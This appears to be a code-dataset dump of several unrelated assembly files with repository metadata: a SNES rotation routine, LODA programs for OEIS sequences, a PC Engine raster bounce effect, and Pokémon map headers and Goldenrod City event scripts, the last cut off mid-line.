#$0c00 ; make sure that A is bcc + ; small enough to lda #$0bff ; don't overflow + bit !cos bpl + eor #$ffff inc + sta !cos stz $2250 ; multiply mode lda.w #$fff0 ; set initial x sta $2251 lda !cos sta $2253 nop bra $00 lda $2306 clc adc #$1000 sta !dx sta !x lda #!dest sta !ptr lda #!dest>>8 sta !ptr+1 cli phb pea $4040 ; set bank to $40 plb plb clc ; this code gets looped 32*32 times. stz $e2 stz !y lda #$001f sta !ly ; 'y' loop count .y ldy #$001f ; 'x' loop count .x lda !x adc !cos sta !x cmp #$2000 bcs .out_of_range sta $e0 lda !y ora $e1 tax sep #$20 lda $b000,x ;$40b000 .back sta [!ptr] rep #$21 inc !ptr dey ; loop x bpl .x lda !dx ; reset x to default sta !x lda !y ; increase y by 1 adc #$0020 sta !y dec !ly ; loop y bpl .y sep #$30 plb rts .out_of_range sep #$20 lda #$00 bra .back .cos_table dw $0100,$0100,$0100,$00FF,$00FF,$00FE,$00FD,$00FC,$00FB,$00FA,$00F8,$00F7,$00F5,$00F3,$00F1,$00EF dw $00ED,$00EA,$00E7,$00E5,$00E2,$00DF,$00DC,$00D8,$00D5,$00D1,$00CE,$00CA,$00C6,$00C2,$00BE,$00B9 dw $00B5,$00B1,$00AC,$00A7,$00A2,$009D,$0098,$0093,$008E,$0089,$0084,$007E,$0079,$0073,$006D,$0068 dw $0062,$005C,$0056,$0050,$004A,$0044,$003E,$0038,$0032,$002C,$0026,$001F,$0019,$0013,$000D,$0006 dw $0000,$FFFA,$FFF3,$FFED,$FFE7,$FFE1,$FFDA,$FFD4,$FFCE,$FFC8,$FFC2,$FFBC,$FFB6,$FFB0,$FFAA,$FFA4 dw $FF9E,$FF98,$FF93,$FF8D,$FF87,$FF82,$FF7C,$FF77,$FF72,$FF6D,$FF68,$FF63,$FF5E,$FF59,$FF54,$FF4F dw $FF4B,$FF47,$FF42,$FF3E,$FF3A,$FF36,$FF32,$FF2F,$FF2B,$FF28,$FF24,$FF21,$FF1E,$FF1B,$FF19,$FF16 dw $FF13,$FF11,$FF0F,$FF0D,$FF0B,$FF09,$FF08,$FF06,$FF05,$FF04,$FF03,$FF02,$FF01,$FF01,$FF00,$FF00 dw $FF00,$FF00,$FF00,$FF01,$FF01,$FF02,$FF03,$FF04,$FF05,$FF06,$FF08,$FF09,$FF0B,$FF0D,$FF0F,$FF11 dw $FF13,$FF16,$FF19,$FF1B,$FF1E,$FF21,$FF24,$FF28,$FF2B,$FF2F,$FF32,$FF36,$FF3A,$FF3E,$FF42,$FF47 dw $FF4B,$FF4F,$FF54,$FF59,$FF5E,$FF63,$FF68,$FF6D,$FF72,$FF77,$FF7C,$FF82,$FF87,$FF8D,$FF93,$FF98 dw $FF9E,$FFA4,$FFAA,$FFB0,$FFB6,$FFBC,$FFC2,$FFC8,$FFCE,$FFD4,$FFDA,$FFE1,$FFE7,$FFED,$FFF3,$FFFA dw $0000,$0006,$000D,$0013,$0019,$001F,$0026,$002C,$0032,$0038,$003E,$0044,$004A,$0050,$0056,$005C dw $0062,$0068,$006D,$0073,$0079,$007E,$0084,$0089,$008E,$0093,$0098,$009D,$00A2,$00A7,$00AC,$00B1 dw $00B5,$00B9,$00BE,$00C2,$00C6,$00CA,$00CE,$00D1,$00D5,$00D8,$00DC,$00DF,$00E2,$00E5,$00E7,$00EA dw $00ED,$00EF,$00F1,$00F3,$00F5,$00F7,$00F8,$00FA,$00FB,$00FC,$00FD,$00FE,$00FF,$00FF,$0100,$0100
22.269231
98
0.613702
34052117571874e058a4714120451798756f0777
700
asm
Assembly
programs/oeis/310/A310529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/310/A310529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/310/A310529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A310529: Coordination sequence Gal.4.75.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,10,16,22,28,34,38,42,48,54,60,66,72,76,80,86,92,98,104,110,114,118,124,130,136,142,148,152,156,162,168,174,180,186,190,194,200,206,212,218,224,228,232,238,244,250,256,262,266 mov $3,$0 add $3,1 mov $7,$0 lpb $3 mov $0,$7 sub $3,1 sub $0,$3 mov $2,2 mov $4,2 mov $5,0 mov $6,2 lpb $0 mov $5,$2 mov $2,$0 mov $0,$6 add $0,$5 add $5,4 add $0,$5 div $0,10 mod $2,7 mov $4,3 sub $4,$0 mov $5,3 lpe mul $4,$0 add $5,$4 add $5,1 add $1,$5 lpe mov $0,$1
20.588235
180
0.59
5dd8cdf8d11ad8bf40273470467d9707df2501ab
362
asm
Assembly
data/mapHeaders/UndergroundPathNorthSouth.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapHeaders/UndergroundPathNorthSouth.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapHeaders/UndergroundPathNorthSouth.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
UndergroundPathNorthSouth_h: db UNDERGROUND ; tileset db UNDERGROUND_PATH_NORTH_SOUTH_HEIGHT, UNDERGROUND_PATH_NORTH_SOUTH_WIDTH ; dimensions (y, x) dw UndergroundPathNorthSouth_Blocks ; blocks dw UndergroundPathNorthSouth_TextPointers ; texts dw UndergroundPathNorthSouth_Script ; scripts db 0 ; connections dw UndergroundPathNorthSouth_Object ; objects
40.222222
95
0.859116
c89574e3a79b4e579e6e254c70a49d1b42061582
527
asm
Assembly
oeis/117/A117490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117490: Number of primes between n and n^2 (with n and n^2 excluded). ; Submitted by Christian Krause ; 0,1,2,4,6,8,11,14,18,21,25,29,33,38,42,48,54,59,64,70,77,84,90,96,105,113,120,128,136,144,151,161,170,180,189,199,207,216,228,239,250,261,269,281,292,305,314,327,342,352,363,378,393,405,418,429,441,458,470 mov $3,$0 mul $3,$0 add $3,$0 add $0,$3 mov $5,$0 lpb $3 mov $2,$5 seq $2,80339 ; Characteristic function of {1} union {primes}: 1 if n is 1 or a prime, else 0. sub $3,1 add $4,$2 sub $5,1 lpe mov $0,$4
29.277778
207
0.658444
fa73c5c5ce7d7a4872216329a7150aae6f33ac75
3,630
asm
Assembly
src/bounce.asm
BlockoS/up-17
3eec0f7495b784e77a869cb9a9fa4e08c4382302
[ "BSD-3-Clause" ]
3
2017-02-22T06:33:32.000Z
2017-02-23T05:26:26.000Z
src/bounce.asm
BlockoS/up-17
3eec0f7495b784e77a869cb9a9fa4e08c4382302
[ "BSD-3-Clause" ]
null
null
null
src/bounce.asm
BlockoS/up-17
3eec0f7495b784e77a869cb9a9fa4e08c4382302
[ "BSD-3-Clause" ]
null
null
null
bounce_vram_tile = $1800 bounce_palette = $00 .zp bounce_rcr .ds 2 bounce_scanline .ds 1 bounce_max .ds 1 bounce_index .ds 1 .bss bounce.bg .ds 2 bounce.fg .ds 2 .code bounce: jsr bounce_setup stz <_al stz <bounce_index set_vec #VSYNC, bounce_vsync vec_on #VSYNC set_vec #HSYNC, bounce_hsync vec_on #HSYNC bounce.loop: ; setup palette stwz color_reg stw bounce.bg, color_data stw bounce.fg, color_data ; loop @l0: lda #1 jsr wait_vsync inc <bounce_index bne @l0 ; invert bg and fg colors stz <_al stz <bounce_index lda #1 jsr wait_vsync stwz color_reg stw bounce.fg, color_data stw bounce.bg, color_data rts bounce_setup: clx lda #31 jsr calc_vram_addr jsr set_write ldx bat_width @bat_init: st1 #low(bounce_vram_tile >> 4) st2 #(high(bounce_vram_tile >> 4) | (bounce_palette << 4)) dex bne @bat_init _set_vram_addr VDC_WRITE, #bounce_vram_tile ; a blank tile with color 1 st0 #$02 st1 #$ff st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st1 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 rts bounce_hsync: incw <bounce_rcr st0 #6 stw <bounce_rcr, video_data st0 #7 st1 #$00 st2 #$00 inc <bounce_scanline ; set next hsync until we reached bounce lda <bounce_scanline ; max coord cmp <bounce_max bcs @l1 @l0: ; scroll to blank line st0 #8 st1 #(31*8) st2 #$00 stz irq_status irq1_end @l1: st0 #8 st1 #$00 st2 #$00 stz irq_status irq1_end bounce_vsync: ldx <bounce_index lda bounce_tbl, X sta <bounce_max st0 #7 ; scroll to blank line st1 #$00 st2 #$01 st0 #8 st1 #(31*8) st2 #$00 st0 #6 ; restart the scanline counter on the first lda #$40 ; line sta video_data_l sta <bounce_rcr st2 #$00 stz <bounce_rcr+1 stz <bounce_scanline jsr vgm_update irq1_end bounce_tbl: .db $00,$00,$00,$00,$00,$00,$00,$01,$01,$02,$02,$03,$03,$04,$04,$05 .db $06,$07,$08,$09,$0a,$0b,$0c,$0d,$0e,$0f,$11,$12,$13,$15,$16,$18 .db $19,$1b,$1d,$1f,$20,$22,$24,$26,$28,$2a,$2c,$2e,$31,$33,$35,$38 .db $3a,$3c,$3f,$42,$44,$47,$4a,$4c,$4f,$52,$55,$58,$5b,$5e,$61,$64 .db $67,$6b,$6e,$71,$75,$78,$7c,$7f,$83,$87,$8b,$8e,$92,$96,$9a,$9e .db $a2,$a6,$aa,$ae,$b3,$b7,$bb,$c0,$c4,$c9,$cd,$d2,$d6,$db,$d9,$d7 .db $d5,$d3,$d1,$ce,$cc,$ca,$c8,$c7,$c5,$c3,$c1,$c0,$be,$bc,$bb,$b9 .db $b8,$b7,$b5,$b4,$b3,$b2,$b0,$af,$ae,$ad,$ac,$ac,$ab,$aa,$a9,$a9 .db $a8,$a7,$a7,$a6,$a6,$a6,$a5,$a5,$a5,$a5,$a5,$a5,$a5,$a5,$a5,$a5 .db $a5,$a5,$a6,$a6,$a6,$a7,$a7,$a8,$a8,$a9,$aa,$aa,$ab,$ac,$ad,$ae .db $af,$b0,$b1,$b2,$b4,$b5,$b6,$b8,$b9,$ba,$bc,$bd,$bf,$c1,$c2,$c4 .db $c6,$c8,$ca,$cc,$ce,$d0,$d2,$d4,$d6,$d9,$db,$db,$d9,$d8,$d7,$d6 .db $d5,$d5,$d4,$d3,$d2,$d2,$d1,$d1,$d0,$d0,$cf,$cf,$cf,$ce,$ce,$ce .db $ce,$ce,$ce,$ce,$ce,$ce,$ce,$cf,$cf,$cf,$d0,$d0,$d1,$d1,$d2,$d2 .db $d3,$d4,$d5,$d6,$d6,$d7,$d8,$da,$db,$db,$db,$da,$da,$d9,$d9,$d9 .db $d9,$d8,$d8,$d8,$d8,$d8,$d8,$d8,$d8,$d9,$d9,$d9,$da,$da,$da,$db
22.6875
72
0.500275
fda6e6730883094f25af16ce58c0ffb5e716203c
1,096
asm
Assembly
programs/oeis/264/A264895.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/264/A264895.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/264/A264895.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A264895: a(n) = n*(4*n - 3)*(16*n^2 - 12*n - 3). ; 0,1,370,2835,10660,28645,63126,121975,214600,351945,546490,812251,1164780,1621165,2200030,2921535,3807376,4880785,6166530,7690915,9481780,11568501,13981990,16754695,19920600,23515225,27575626,32140395,37249660,42945085,49269870,56268751,63988000,72475425,81780370,91953715,103047876,115116805,128215990,142402455,157734760,174273001,192078810,211215355,231747340,253741005,277264126,302386015,329177520,357711025,388060450,420301251,454510420,490766485,529149510,569741095,612624376,657884025,705606250,755878795,808790940,864433501,922898830,984280815,1048674880,1116177985,1186888626,1260906835,1338334180,1419273765,1503830230,1592109751,1684220040,1780270345,1880371450,1984635675,2093176876,2206110445,2323553310,2445623935,2572442320,2704130001,2840810050,2982607075,3129647220,3282058165,3439969126,3603510855,3772815640,3948017305,4129251210,4316654251,4510364860,4710523005,4917270190,5130749455,5351105376,5578484065,5813033170,6054901875 mov $1,$0 mul $0,8 sub $0,2 sub $1,1 mul $1,2 mul $1,$0 add $0,$1 sub $0,3 bin $0,2 div $0,2
78.285714
950
0.839416
28a03867a06443859abcf89370e535929c031fe5
14,823
asm
Assembly
maps/unused/GoldenrodCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/unused/GoldenrodCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/unused/GoldenrodCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
object_const_def ; object_event constants const GOLDENRODCITY_POKEFAN_M1 const GOLDENRODCITY_YOUNGSTER1 const GOLDENRODCITY_COOLTRAINER_F1 const GOLDENRODCITY_COOLTRAINER_F2 const GOLDENRODCITY_YOUNGSTER2 const GOLDENRODCITY_LASS const GOLDENRODCITY_GRAMPS const GOLDENRODCITY_ROCKETSCOUT const GOLDENRODCITY_ROCKET1 const GOLDENRODCITY_ROCKET2 const GOLDENRODCITY_ROCKET3 const GOLDENRODCITY_ROCKET4 const GOLDENRODCITY_ROCKET5 const GOLDENRODCITY_ROCKET6 const GOLDENRODCITY_MOVETUTOR GoldenrodCity_MapScripts: db 0 ; scene scripts db 2 ; callbacks callback MAPCALLBACK_NEWMAP, .FlyPointAndFloria callback MAPCALLBACK_OBJECTS, .MoveTutor .FlyPointAndFloria: setflag ENGINE_FLYPOINT_GOLDENROD setflag ENGINE_REACHED_GOLDENROD checkevent EVENT_MET_FLORIA iftrue .FloriaDone clearevent EVENT_FLORIA_AT_SUDOWOODO .FloriaDone: return .MoveTutor: checkevent EVENT_BEAT_ELITE_FOUR iffalse .MoveTutorDone checkitem COIN_CASE iffalse .MoveTutorDisappear readvar VAR_WEEKDAY ifequal WEDNESDAY, .MoveTutorAppear ifequal SATURDAY, .MoveTutorAppear .MoveTutorDisappear: disappear GOLDENRODCITY_MOVETUTOR return .MoveTutorAppear: checkflag ENGINE_DAILY_MOVE_TUTOR iftrue .MoveTutorDone appear GOLDENRODCITY_MOVETUTOR .MoveTutorDone: return MoveTutorScript: faceplayer opentext writetext GoldenrodCityMoveTutorAskTeachAMoveText yesorno iffalse .Refused special DisplayCoinCaseBalance writetext GoldenrodCityMoveTutorAsk4000CoinsOkayText yesorno iffalse .Refused2 checkcoins 4000 ifequal HAVE_LESS, .NotEnoughMoney writetext GoldenrodCityMoveTutorWhichMoveShouldITeachText loadmenu .MoveMenuHeader verticalmenu closewindow ifequal MOVETUTOR_FLAMETHROWER, .Flamethrower ifequal MOVETUTOR_THUNDERBOLT, .Thunderbolt ifequal MOVETUTOR_ICE_BEAM, .IceBeam sjump .Incompatible .Flamethrower: setval MOVETUTOR_FLAMETHROWER writetext UnknownText_0x1991cf special MoveTutor ifequal FALSE, .TeachMove sjump .Incompatible .Thunderbolt: setval MOVETUTOR_THUNDERBOLT writetext UnknownText_0x1991cf special MoveTutor ifequal FALSE, .TeachMove sjump .Incompatible .IceBeam: setval MOVETUTOR_ICE_BEAM writetext UnknownText_0x1991cf special MoveTutor ifequal FALSE, .TeachMove sjump .Incompatible .MoveMenuHeader: db MENU_BACKUP_TILES ; flags menu_coords 0, 2, 15, TEXTBOX_Y - 1 dw .MenuData db 1 ; default option .MenuData: db STATICMENU_CURSOR ; flags db 4 ; items db "FLAMETHROWER@" db "THUNDERBOLT@" db "ICE BEAM@" db "CANCEL@" .Refused: writetext GoldenrodCityMoveTutorAwwButTheyreAmazingText waitbutton closetext end .Refused2: writetext GoldenrodCityMoveTutorHmTooBadText waitbutton closetext end .TeachMove: writetext GoldenrodCityMoveTutorIfYouUnderstandYouveMadeItText buttonsound takecoins 4000 waitsfx playsound SFX_TRANSACTION special DisplayCoinCaseBalance writetext GoldenrodCityMoveTutorFarewellKidText waitbutton closetext readvar VAR_FACING ifequal LEFT, .WalkAroundPlayer applymovement GOLDENRODCITY_MOVETUTOR, GoldenrodCityMoveTutorEnterGameCornerMovement sjump .GoInside .WalkAroundPlayer: applymovement GOLDENRODCITY_MOVETUTOR, GoldenrodCityMoveTutorWalkAroundPlayerThenEnterGameCornerMovement .GoInside: playsound SFX_ENTER_DOOR disappear GOLDENRODCITY_MOVETUTOR clearevent EVENT_GOLDENROD_GAME_CORNER_MOVE_TUTOR setflag ENGINE_DAILY_MOVE_TUTOR waitsfx end .Incompatible: writetext GoldenrodCityMoveTutorBButText waitbutton closetext end .NotEnoughMoney: writetext GoldenrodCityMoveTutorYouDontHaveEnoughCoinsText waitbutton closetext end GoldenrodCityPokefanMScript: jumptextfaceplayer GoldenrodCityPokefanMText GoldenrodCityYoungster1Script: jumptextfaceplayer GoldenrodCityYoungster1Text GoldenrodCityCooltrainerF1Script: faceplayer opentext ; checkevent EVENT_CLEARED_RADIO_TOWER ; iftrue .ClearedRadioTower writetext GoldenrodCityCooltrainerF1Text waitbutton closetext end .ClearedRadioTower: writetext GoldenrodCityCooltrainerF1Text_ClearedRadioTower waitbutton closetext end GoldenrodCityCooltrainerF2Script: faceplayer opentext checkflag ENGINE_RADIO_CARD iftrue .GotRadioCard writetext GoldenrodCityCooltrainerF2Text waitbutton closetext end .GotRadioCard: writetext GoldenrodCityCooltrainerF2Text_GotRadioCard waitbutton closetext end GoldenrodCityYoungster2Script: jumptextfaceplayer GoldenrodCityYoungster2Text GoldenrodCityLassScript: jumptextfaceplayer GoldenrodCityLassText GoldenrodCityGrampsScript: jumptextfaceplayer GoldenrodCityGrampsText GoldenrodCityRocketScoutScript: opentext writetext GoldenrodCityRocketScoutText1 buttonsound faceplayer writetext GoldenrodCityRocketScoutText2 waitbutton closetext turnobject GOLDENRODCITY_ROCKETSCOUT, UP end GoldenrodCityRocket1Script: jumptextfaceplayer GoldenrodCityRocket1Text GoldenrodCityRocket2Script: jumptextfaceplayer GoldenrodCityRocket2Text GoldenrodCityRocket3Script: jumptextfaceplayer GoldenrodCityRocket3Text GoldenrodCityRocket4Script: jumptextfaceplayer GoldenrodCityRocket4Text GoldenrodCityRocket5Script: jumptextfaceplayer GoldenrodCityRocket5Text GoldenrodCityRocket6Script: jumptextfaceplayer GoldenrodCityRocket6Text GoldenrodCityStationSign: jumptext GoldenrodCityStationSignText GoldenrodCityRadioTowerSign: jumptext GoldenrodCityRadioTowerSignText GoldenrodDeptStoreSign: jumptext GoldenrodDeptStoreSignText GoldenrodGymSign: jumptext GoldenrodGymSignText GoldenrodCitySign: jumptext GoldenrodCitySignText GoldenrodCityBikeShopSign: jumptext GoldenrodCityBikeShopSignText GoldenrodCityGameCornerSign: jumptext GoldenrodCityGameCornerSignText GoldenrodCityNameRaterSign: jumptext GoldenrodCityNameRaterSignText GoldenrodCityUndergroundSignNorth: jumptext GoldenrodCityUndergroundSignNorthText GoldenrodCityUndergroundSignSouth: jumptext GoldenrodCityUndergroundSignSouthText GoldenrodCityPokecenterSign: jumpstd pokecentersign GoldenrodCityFlowerShopSign: jumptext GoldenrodCityFlowerShopSignText GoldenrodCityMoveTutorEnterGameCornerMovement: step RIGHT step RIGHT step UP step_end GoldenrodCityMoveTutorWalkAroundPlayerThenEnterGameCornerMovement: step DOWN step RIGHT step RIGHT step UP step UP step_end GoldenrodCityPokefanMText: text "They built the new" line "RADIO TOWER to" para "replace the old," line "creaky one." done GoldenrodCityYoungster1Text: text "I know there's a" line "new BIKE SHOP, but" para "I can't find it" line "anywhere." done GoldenrodCityCooltrainerF1Text: text "Is that man in" line "black dressed up" para "like a TEAM ROCKET" line "member? How silly!" done GoldenrodCityCooltrainerF1Text_ClearedRadioTower: text "Was that man in" line "black really part" para "of TEAM ROCKET? I" line "can't believe it!" done GoldenrodCityCooltrainerF2Text: text "The RADIO TOWER in" line "GOLDENROD CITY is" cont "a landmark." para "They're running a" line "promotional cam- " cont "paign right now." para "They'll modify" line "your #GEAR," para "so it can also" line "serve as a radio." done GoldenrodCityCooltrainerF2Text_GotRadioCard: text "Oh, your #GEAR" line "works as a radio!" done GoldenrodCityYoungster2Text: text "E-he-he-he…" para "I got in trouble" line "for playing in the" para "basement of the" line "DEPT.STORE." done GoldenrodCityLassText: text "The man at that" line "house rates your" cont "#MON names." para "He can even rename" line "your #MON." done GoldenrodCityGrampsText: text "Whew! This is one" line "big town. I don't" para "know where any-" line "thing is." done GoldenrodCityRocketScoutText1: text "So this is the" line "RADIO TOWER…" done GoldenrodCityRocketScoutText2: text "What do you want," line "you pest? Scram!" done GoldenrodCityRocket1Text: text "Stay out of the" line "way! Beat it!" done GoldenrodCityRocket2Text: text "Take over the" line "RADIO TOWER…" para "What? It's none of" line "your business!" done GoldenrodCityRocket3Text: text "#MON? They're" line "nothing more than" para "tools for making" line "money!" done GoldenrodCityRocket4Text: text "Our dream will" line "soon come true…" para "It was such a long" line "struggle…" done GoldenrodCityRocket5Text: text "Hey, brat! You" line "don't belong here!" cont "Get lost!" done GoldenrodCityRocket6Text: text "Come taste the" line "true terror of" cont "TEAM ROCKET!" done GoldenrodCityStationSignText: text "GOLDENROD CITY" line "STATION" done GoldenrodCityRadioTowerSignText: text "GOLDENROD CITY" line "RADIO TOWER" done GoldenrodDeptStoreSignText: text "Full Selection of" line "#MON Goods!" para "GOLDENROD CITY" line "DEPT.STORE" done GoldenrodGymSignText: text "GOLDENROD CITY" line "#MON GYM" cont "LEADER: WHITNEY" para "The Incredibly" line "Pretty Girl!" done GoldenrodCitySignText: text "GOLDENROD CITY" para "The Festive City" line "of Opulent Charm" done GoldenrodCityBikeShopSignText: text "The World is a" line "Cycle Path!" cont "BIKE SHOP" done GoldenrodCityGameCornerSignText: text "Your Playground!" para "GOLDENROD CITY" line "GAME CORNER" done GoldenrodCityNameRaterSignText: text "NAME RATER" para "Get Your #MON" line "Nicknames Rated" done GoldenrodCityUndergroundSignNorthText: text "UNDERGROUND" line "ENTRANCE" done GoldenrodCityUndergroundSignSouthText: text "UNDERGROUND" line "ENTRANCE" done GoldenrodCityPokeComCenterSignText: ; unused text "For Mobile Tips!" line "#COM CENTER" done GoldenrodCityFlowerShopSignText: text "Blooming Beautiful" line "FLOWER SHOP" done GoldenrodCityMoveTutorAskTeachAMoveText: text "I can teach your" line "#MON amazing" para "moves if you'd" line "like." para "Should I teach a" line "new move?" done GoldenrodCityMoveTutorAsk4000CoinsOkayText: text "It will cost you" line "4000 coins. Okay?" done GoldenrodCityMoveTutorAwwButTheyreAmazingText: text "Aww… But they're" line "amazing…" done GoldenrodCityMoveTutorWhichMoveShouldITeachText: text "Wahahah! You won't" line "regret it!" para "Which move should" line "I teach?" done GoldenrodCityMoveTutorHmTooBadText: text "Hm, too bad. I'll" line "have to get some" cont "cash from home…" done GoldenrodCityMoveTutorIfYouUnderstandYouveMadeItText: text "If you understand" line "what's so amazing" para "about this move," line "you've made it as" cont "a trainer." done GoldenrodCityMoveTutorFarewellKidText: text "Wahahah!" line "Farewell, kid!" done GoldenrodCityMoveTutorBButText: text "B-but…" done GoldenrodCityMoveTutorYouDontHaveEnoughCoinsText: text "…You don't have" line "enough coins here…" done UnknownText_0x1991cf: text_start done GoldenrodCity_MapEvents: db 0, 0 ; filler db 15 ; warp events warp_event 24, 7, GOLDENROD_GYM, 1 warp_event 29, 29, GOLDENROD_BIKE_SHOP, 1 warp_event 31, 21, GOLDENROD_HAPPINESS_RATER, 1 warp_event 5, 25, BILLS_FAMILYS_HOUSE, 1 warp_event 9, 13, GOLDENROD_MAGNET_TRAIN_STATION, 2 warp_event 29, 5, GOLDENROD_FLOWER_SHOP, 1 warp_event 33, 9, GOLDENROD_PP_SPEECH_HOUSE, 1 warp_event 15, 7, GOLDENROD_NAME_RATER, 1 warp_event 24, 27, GOLDENROD_DEPT_STORE_1F, 1 warp_event 14, 21, GOLDENROD_GAME_CORNER, 1 warp_event 5, 15, RADIO_TOWER_1F, 1 warp_event 19, 1, ROUTE_35_GOLDENROD_GATE, 3 warp_event 9, 5, GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES, 8 warp_event 11, 29, GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES, 5 warp_event 15, 27, GOLDENROD_POKECENTER_1F, 1 db 0 ; coord events db 12 ; bg events bg_event 10, 14, BGEVENT_READ, GoldenrodCityStationSign bg_event 4, 17, BGEVENT_READ, GoldenrodCityRadioTowerSign bg_event 26, 27, BGEVENT_READ, GoldenrodDeptStoreSign bg_event 26, 9, BGEVENT_READ, GoldenrodGymSign bg_event 22, 18, BGEVENT_READ, GoldenrodCitySign bg_event 28, 30, BGEVENT_READ, GoldenrodCityBikeShopSign bg_event 16, 22, BGEVENT_READ, GoldenrodCityGameCornerSign bg_event 12, 7, BGEVENT_READ, GoldenrodCityNameRaterSign bg_event 8, 6, BGEVENT_READ, GoldenrodCityUndergroundSignNorth bg_event 12, 30, BGEVENT_READ, GoldenrodCityUndergroundSignSouth bg_event 16, 27, BGEVENT_UP, GoldenrodCityPokecenterSign bg_event 30, 6, BGEVENT_READ, GoldenrodCityFlowerShopSign db 15 ; object events object_event 7, 18, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityPokefanMScript, EVENT_GOLDENROD_CITY_CIVILIANS object_event 30, 17, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityYoungster1Script, EVENT_GOLDENROD_CITY_CIVILIANS object_event 12, 16, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodCityCooltrainerF1Script, EVENT_GOLDENROD_CITY_CIVILIANS object_event 20, 26, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_WANDER, 1, 2, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityCooltrainerF2Script, EVENT_GOLDENROD_CITY_CIVILIANS object_event 19, 17, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodCityYoungster2Script, EVENT_GOLDENROD_CITY_CIVILIANS object_event 17, 10, SPRITE_LASS, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 2, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodCityLassScript, EVENT_GOLDENROD_CITY_CIVILIANS object_event 11, 27, SPRITE_GRAMPS, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityGrampsScript, EVENT_GOLDENROD_CITY_CIVILIANS object_event 4, 16, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocketScoutScript, EVENT_GOLDENROD_CITY_ROCKET_SCOUT object_event 28, 20, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocket1Script, EVENT_GOLDENROD_CITY_ROCKET_TAKEOVER object_event 8, 15, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocket2Script, EVENT_GOLDENROD_CITY_ROCKET_TAKEOVER object_event 16, 23, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocket3Script, EVENT_RADIO_TOWER_ROCKET_TAKEOVER object_event 29, 20, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocket4Script, EVENT_RADIO_TOWER_ROCKET_TAKEOVER object_event 29, 7, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, 